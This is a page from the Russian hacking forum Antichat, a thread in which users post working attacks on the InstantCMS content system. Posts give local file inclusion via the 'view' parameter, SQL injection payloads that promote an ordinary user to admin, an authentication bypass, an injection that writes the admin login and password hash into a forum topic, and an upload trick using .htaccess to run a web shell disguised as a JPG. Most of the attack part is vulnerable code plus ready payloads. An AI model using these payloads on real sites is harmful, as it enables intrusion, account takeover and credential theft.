ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 14.05.2010, 12:26
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Кхм странно...
У тя версия какая? Просто у меня 1.5.3
 
Ответить с цитированием

  #32  
Старый 14.05.2010, 12:47
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

Я тестил на 1.5.3. Да все верно на 1.6.1 эта бага залатана вроде как. Закроем глаза на target_id.
Разберемся с запросом. Нагуляляся по функциям. В итоге ты в этот запрос инжектил?
Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
?
Другая поправка.
если ты укажешь в item_id существующий id, то ты железно получишь вывод причину описал выше.
Иначе есть риск запороть вывод. Проверь, убедись.

Последний раз редактировалось The matrix; 14.05.2010 в 12:57..
 
Ответить с цитированием

  #33  
Старый 14.05.2010, 13:06
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Ну вчера же вывелось всё равно, в код вмешательств небыло
Мистика...
 
Ответить с цитированием

  #34  
Старый 14.05.2010, 21:54
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

LFI InstantCMS <===== 1.5.1
Nees: mq=off

index.php
PHP код:
$inCore->proceedBody(); 
/core/cms.php
PHP код:
public function proceedBody(){
        
$inPage         cmsPage::getInstance();
        
$menuid         $this->menuId();
        
$is_component   false;
        
ob_start();
        if (isset(
$_REQUEST['view'])) { $component htmlentities($_REQUEST['view'], ENT_QUOTES); }
        if (isset(
$component)){
            
//CHECK COMPONENT NAME (это типа фильтр ухаха)
            
if (strstr($component' ') ||
                
strstr($component'\'') ||
                
strstr($component'"') ||
                
strstr($component'&') ||
                
strstr($component'#') ||
                
strstr($component'*') ||
                
strstr($component'>') ||
                
strstr($component'<')    )
            { die(
'HACKING ATTEMPT BLOCKED'); }
            
//EXECUTE COMPONENT
            
if(file_exists('components/'.$component.'/frontend.php')){
                echo 
'<div class="component">';
                    require (
'components/'.$component.'/frontend.php');
                    eval(
$component.'();');                    
                echo 
'</div>';
                
$is_component true;
                if (
$menuid != && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">&laquo; Назад</a></p>"; }
            } else { echo 
'<p>Компонент не найден!</p>'; }
        }
        
$inPage->page_body ob_get_clean();

        if (
$is_component) { $inPage->page_body cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }

        return 
true;
    }
.................................. 
exploit
Код:
Index.php?view=[LFI]%00
 
Ответить с цитированием

  #35  
Старый 16.05.2010, 12:58
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.

0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра)

Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:

if ($do=='editprofile'){

    
$opt $inCore->request('opt''str''edit');

    if (
usrCheckAuth()){
    
        if (
$inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
        
                if (
$opt == 'save'){
                    
$errors false;
                    
                    
$nickname $inCore->request('nickname''str');
                    if (
strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors true; }

                    
$gender $inCore->request('gender''str');
                    
                    
$city $inCore->request('city''str');
                    if (
strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors true; }

                    
$email $inCore->request('email''str');
                    if (!
strpos($email'@') || !strpos($email'.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors true; }
                    
                    
$showmail       $inCore->request('showmail''int');
                    
$email_newmsg   $inCore->request('email_newmsg''int');
                    
                    
$showbirth      $inCore->request('showbirth''int');
                    
$description    $inCore->request('description''str');
                    
                    
$birthdate      = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
                    
$signature      $inCore->request('signature''str');

                    
$allow_who      $inCore->request('allow_who''str');
                    
                    
$icq            $inCore->request('icq''str');
                    
$showicq        $inCore->request('showicq''int');
                    
                    
$cm_subscribe   $inCore->request('cm_subscribe''str');
                    
                    if (
$inCore->inRequest('field')){
                        foreach(
$_POST['field'] as $k=>$val){
                            
$_POST['field'][$k] = str_replace('\"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace('"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("\'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
                        }                    
                        
$formsdata $inCore->arrayToYaml($_POST['field']);
                        
$forms_sql ", formsdata='$formsdata'";
                    } else {
                        
$forms_sql '';
                    }
                    
                    if (!
$errors){
                       
                        
$sql "UPDATE cms_user_profiles 
                                 SET city = '
$city',
                                    description = '
$description',
                                    showmail='
$showmail',
                                    showbirth='
$showbirth',
                                    showicq='
$showicq',
                                    allow_who='
$allow_who',
                                    signature='
$signature',
                                    gender='
$gender$forms_sql,
                                    email_newmsg='
$email_newmsg',
                                    cm_subscribe='
$cm_subscribe'
                                WHERE user_id = 
$id";
                        
$inDB->query($sql) ;

                        
$sql "UPDATE cms_users 
                                SET birthdate='
$birthdate',
                                    email='
$email',
                                    icq='
$icq',
                                    nickname='
$nickname'
                                WHERE id = 
$id";
                        
$inDB->query($sql) ;

                        
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');

                    }

                    
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
                    
                } 
Как устроен фильтр? У нас фильтр реплэсит
' (Кавычка)
\' (слеш+одинарная кавычка)
\" (слеш+двойная кавычка)
"(двойная кавычка)
насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать?
давайте обратим внимание на этот запрос.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='$icq',
									nickname='$nickname'
								WHERE id = $id";
						$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО!
В поле ваше имя вбиваем: group_id=2 #\
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #\
Давайте посмотрим, что у нас получилось.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='333s \',
									nickname=', group_id=2 #\'
								WHERE id = $id";

АГА. Жареным пахнет.
Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа.
Вот такая вот интересная бага была найдена в новой версии instantCMS


Видео к теме:
Код:
https://forum.antichat.ru/showthread.php?p=2145955#post2145955

Последний раз редактировалось The matrix; 16.05.2010 в 17:41..
 
Ответить с цитированием

  #36  
Старый 24.05.2010, 03:28
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

Опять зиро дэй

Auth0r1zat1oN byPass InstantCMS<=== 1.6.2

Need: mq=off
Не буду нагромождать лишним кодом.
Запрос для авторизации следующий:

PHP код:
$sql    "SELECT * 
                           FROM cms_users
                           WHERE 
$where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0"
Что нельзя использовать
' (Кавычка) [Реплейсится в `(апостроф)]
легко понять, что этого мало.
Как юзать:
В поле логин пишем: matrix\
в поле пароль пишем: or id=1#\
У нас получится:
Код:
SELECT * 
                           FROM cms_users
                           WHERE login = 'matrix\' AND password = md5('or id=1#\') AND is_deleted = 0 AND is_locked = 0
слешанули по одной кавычке в логине и пассворде.
в результате логин закрылся кавычкой от password и синтаксис не нарушился.
примечание:
id-айди пользователя под которым мы хотим залогиниться.
Вот так мы байпаснули авторизацию.
Разработчик о баге и о наличии супер функции mysql_real_escape_string() оповещен.

Последний раз редактировалось The matrix; 24.05.2010 в 03:42..
 
Ответить с цитированием

  #37  
Старый 24.05.2010, 21:57
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

УРА! Вышли заплатки на новую версию. Версию instantCMS. Захотел покурить php код вот что получилось
InstantCMS <==1.6.2(2) sql injection (insert)

MQ=off
/components/frontend.php
PHP код:
 "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
                                VALUES ('
$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)"
повезло.
$title $description пропускают \
Как это заюзать
создаем на форуме топик
Название:matr1x\
Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
Мы получаем
Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
								VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
-----------
сообщение для разработчика: r2, привет =)))
 
Ответить с цитированием

  #38  
Старый 05.06.2010, 21:24
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

InstantCMS 1.6.2

File upload
Тащим свой зад на форму аплоада файлов
Код:
http://localhost/users/ваш id/addfile.html
componennts/users/frontend.php
PHP код:
foreach ($_FILES as $key => $data_array) {
                    
$error $data_array['error'];
                    if (
$error == UPLOAD_ERR_OK) {
                        @
mkdir(PATH.'/upload/userfiles/'.$id);
                    
                        
$tmp_name   $data_array["tmp_name"];
                        
$name       $data_array["name"];
                        
$size       $data_array["size"];
                        
$size_mb    += round(($size/1024)/10242);
                        
                        if (
$size_mb <= $free_mb){
                            if(!
strstr($name'.php') && !strstr($name'.asp') && !strstr($name'.aspx') && !strstr($name'.js') && !strstr($name'.html') && !strstr($name'.phtml')){
                                if (
move_uploaded_file($tmp_namePATH."/upload/userfiles/$id/$name")){ 
Заливаем сначала файл .htaccess содержимым
Код:
addhandler application/x-httpd-php jpg
затем shell с расширением jpg
Шелленг загрузится в
http://localhost/upload/userfiles/[ваш ид]/[имя шелла].jpg
и будет выполняться.

Последний раз редактировалось The matrix; 05.06.2010 в 21:27..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ